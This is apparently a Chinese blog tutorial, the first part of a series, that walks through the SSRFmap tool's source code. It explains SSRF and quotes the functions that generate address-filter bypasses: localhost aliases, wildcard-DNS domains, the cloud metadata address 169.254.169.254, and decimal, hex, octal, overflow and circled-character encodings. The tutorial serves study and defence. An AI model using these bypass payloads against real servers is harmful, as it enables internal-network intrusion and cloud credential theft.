从ssrfmap源码中学习ssrf (一)
什么是SSRF
SSRF(Server-Side Request Forgery)是由攻击者利用服务端的身份发起请求的一个漏洞
SSRF发生的原因
服务器端提供了从其他服务器获取数据的功能,且没有对目标地址进行良好的过滤
SSRF危害
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
- 攻击运行在内网或本地的应用程序(比如溢出)
- 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
- 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
- 利用
file协议读取本地文件等
ssrfmap源码解读
ssrfmap 提供了一个框架,主要功能是由 module 实现的,其主要目录结构如下:1
2
3
4
5
6
7
8
9├── core # 项目核心代码
│ ├── handler.py
│ ├── requester.py
│ ├── ssrf.py
│ └── utils.py
├── data
├── examples # 实例文件
├── handlers # 监听器
├── modules # 模块,提供主要功能
主要过程
ssrfmap.py
ssrfmap.py 中解析各种参数,设置日志相关的配置,随后通过 SSRF 中的 __init__ 函数启动1
2# Copyright (c) 2018 Swissky
ssrf = SSRF(args)
ssrf.py
ssrf.py 中首先将各个模块加载到内存中,通过 burp 请求和提供的参数初始化请求 Requester1
2# Copyright (c) 2018 Swissky
self.requester = Requester(args.reqfile, args.useragent, args.ssl, proxies)
随后依次调用指定模块中的 exploit 函数1
2
3
4
5
6# Copyright (c) 2018 Swissky
for modname in args.modules.split(','):
for module in self.modules:
if module.name == modname:
module.exploit(self.requester, args)
break
requester.py
将 burp 请求包中读取的数据和提供的参数,填充在 Requester 中1
2
3
4
5
6
7# Copyright (c) 2018 Swissky
protocol = "http"
host = ""
method = ""
action = ""
headers = {}
data = {}
其中的 do_request 函数通过提供的 param 在请求包中寻找对应的位置,并且将其值替换为构造的 value ,最后将构造的请求包返回
utils.py
提供了一些方便的工具函数,用于 http , https , gopher 等协议的封装,返回 url 字符串
其中关键函数 gen_ip_list(ip, level) 根据 level 产生ip列表, 不同的 level 提供了不同的绕过方法(指向内网地址)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28# Copyright (c) 2018 Swissky
def gen_ip_list(ip, level):
ips = set()
if level == 1:
ips.add(ip)
if level == 2:
ip_default_local(ips, ip)
ip_default_shortcurt(ips, ip)
if level == 3:
ip_dns_redirect(ips, ip)
ip_default_cidr(ips, ip)
if level == 4:
ip_decimal_notation(ips, ip)
ip_enclosed_alphanumeric(ips, ip)
if level == 5:
ip_dotted_decimal_with_overflow(ips, ip)
ip_dotless_decimal(ips, ip)
ip_dotless_decimal_with_overflow(ips, ip)
ip_dotted_hexadecimal(ips, ip)
ip_dotted_octal(ips, ip)
for ip in ips:
yield ip
接下来研究不同的绕过方法
ip_default_local(ips, ip)
1
2
3
4
5# Copyright (c) 2018 Swissky
def ip_default_local(ips, ip):
ips.add("127.0.0.1")
ips.add("0.0.0.0")
ips.add("localhost")常见的本地地址
ip_default_shortcurt(ips, ip)
1 | # Copyright (c) 2018 Swissky |
常见本地地址的缩写
- ip_dns_redirect(ips, ip)
利用dns记录将域名指向指定ip,这里分为 127.0.0.1 和 169.254.169.254 两种 IP.前者是本地地址,而后者是一个特殊的IP地址,它通常与云服务提供商的元数据服务相关联1
2
3
4
5
6
7
8
9
10
11# Copyright (c) 2018 Swissky
def ip_dns_redirect(ips, ip):
if ip == "127.0.0.1":
ips.add("localtest.me")
ips.add("customer1.app.localhost.my.company.127.0.0.1.nip.io")
ips.add("localtest$google.me") # localtest.me , $google 的值为空
if ip == "169.254.169.254":
ips.add("metadata.nicob.net")
ips.add("169.254.169.254.xip.io")
ips.add("1ynrnhl.xip.io")
localtest.me 以及其子域名会将dns记录指向本地地址,具体参考 https://readme.localtest.me/1
2
3
4
5
6
7
8$ nslookup 123.localtest.me
服务器: public1.114dns.com
Address: 114.114.114.114
非权威应答:
名称: 123.localtest.me
Addresses: ::1
127.0.0.1
nip.io 能将dns记录指向任何IP,它使用一种称为 “泛解析”(wildcard DNS record)的方法,即利用通配符 *(星号)来做子域名以实现所有的子域名均指向同一IP地址.
nip.io 支持有名字和没名字的子域名,比如 192.168.1.250.nip.io app.192.168.1.250.nip.io 都会将记录指向 192.168.1.250 .
同时还支持破折号 - 作为子域名分割符 : magic-127-0-0-1.nip.io
也支持子域名的16进制编码: magic-7f000001.nip.io
具体参考 https://nip.io/1
2
3
4
5
6
7$ nslookup test-123-123-123-123.nip.io
服务器: public1.114dns.com
Address: 114.114.114.114
非权威应答:
名称: test-123-123-123-123.nip.io
Address: 123.123.123.123
- ip_default_cidr(ips, ip)
本地回环地址不只是 127.0.0.1 .它指的是127开头的地址 127.0.0.1-127.255.255.2541
2
3
4
5
6# Copyright (c) 2018 Swissky
def ip_default_cidr(ips, ip):
ips.add("127.0.0.0")
ips.add("127.0.1.3")
ips.add("127.42.42.42")
ips.add("127.127.127.127")

ip_decimal_notation(ips, ip)
将一个IPv4地址转换为十进制表示形式
1
2
3
4
5
6
7# Copyright (c) 2018 Swissky
def ip_decimal_notation(ips, ip):
try:
packedip = socket.inet_aton(ip)
ips.add(struct.unpack("!l", packedip)[0])
except:
passsocket.inet_aton(ip)
- 用于将点分十进制的IPv4地址转换为一个32位打包的二进制格式
struct.unpack(“!l”, packedip)
struct模块用于处理打包的二进制数据。"!l"是一个格式字符串,其中"!"表示网络字节顺序(大端序),"l"表示长整型(4字节)。这个函数将打包的二进制数据转换为一个长整型的十进制数。例如,
"192.168.1.1"的二进制数据会被转换为一个十进制整数。
ip_enclosed_alphanumeric(ips, ip)
利用数字字母的圈环符号绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14# Copyright (c) 2018 Swissky
def ip_enclosed_alphanumeric(ips, ip):
intab = "1234567890abcdefghijklmnopqrstuvwxyz"
if ip == "127.0.0.1":
ips.add("ⓛⓞⒸⒶⓛⓣⒺⓢⓣ.ⓜⒺ")
outtab = "①②③④⑤⑥⑦⑧⑨⓪ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏ"
trantab = ip.maketrans(intab, outtab)
ips.add( ip.translate(trantab) )
outtab = "①②③④⑤⑥⑦⑧⑨⓪ⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ"
trantab = ip.maketrans(intab, outtab)
ips.add( ip.translate(trantab) )太神奇了,这也能ping通!


ip_dotted_decimal_with_overflow(ips, ip)
这个可能和服务器处理逻辑有关,比如会将 ip 模 256
1
2
3
4
5
6# Copyright (c) 2018 Swissky
def ip_dotted_decimal_with_overflow(ips, ip):
try:
ips.add(".".join([str(int(part) + 256) for part in ip.split(".")]))
except:
passip_dotless_decimal(ips, ip)
将ip用一个双字节的数字表示.具体变换为:将每部分转化为二进制,然后拼接,最后将这个二进制字符串转化为十进制1
2
3
4
5
6
7
8
9
10# Copyright (c) 2018 Swissky
def ip_dotless_decimal(ips, ip):
def octet_to_decimal_part(ip_part, octet):
return int(ip_part) * (256 ** octet)
try:
parts = [part for part in ip.split(".")]
ips.add(str(octet_to_decimal_part(parts[0], 3) + octet_to_decimal_part(parts[1], 2) + octet_to_decimal_part(parts[2], 1) + octet_to_decimal_part(parts[3], 0)))
except:
pass

- ip_dotless_decimal_with_overflow(ips, ip)
与 **ip_dotless_decimal(ips, ip)**没有什么区别1
2
3
4
5
6
7
8
9
10
11# Copyright (c) 2018 Swissky
def ip_dotless_decimal_with_overflow(ips, ip):
def octet_to_decimal_part(ip_part, octet):
return int(ip_part) * (256 ** octet)
try:
parts = [part for part in ip.split(".")]
ips.add(str(octet_to_decimal_part(parts[0], 3) + octet_to_decimal_part(parts[1], 2) + octet_to_decimal_part(parts[2], 1) + octet_to_decimal_part(parts[3], 0)))
except:
pass
ip_dotted_hexadecimal(ips, ip)
将每部分以16进制表示
1
2
3
4
5
6
7
8
9# Copyright (c) 2018 Swissky
def ip_dotted_hexadecimal(ips, ip):
def octet_to_hex_part(number):
return str(hex(int(number)))
try:
ips.add(".".join([octet_to_hex_part(part) for part in ip.split(".")]))
except:
passip_dotted_octal(ips, ip)
将每部分以8进制表示1
2
3
4
5
6
7
8
9# Copyright (c) 2018 Swissky
def ip_dotted_octal(ips, ip):
def octet_to_oct_part(number):
return str(oct(int(number))).replace("o","")
try:
ips.add(".".join([octet_to_oct_part(part) for part in ip.split(".")]))
except:
pass
小结
ssrfmap 的 utils.py 中绕过方法有以下几种:
- DNS解析 : 利用能解析到本地地址的域名,如 :
*.nip.io,localtest.me等及其支持的变种 - 编码:
- 双字节整数
- 十六进制
- 八进制
- 圈环符号代替
- 地址溢出(需要结合服务器具体的处理措施) : 将ip地址每一部分都加上256
- 本地回环cidr块 :
127.0.0.1-127.255.255.254为本地回环地址 - 本地回环地址的缩写 :
[::],127.0.1等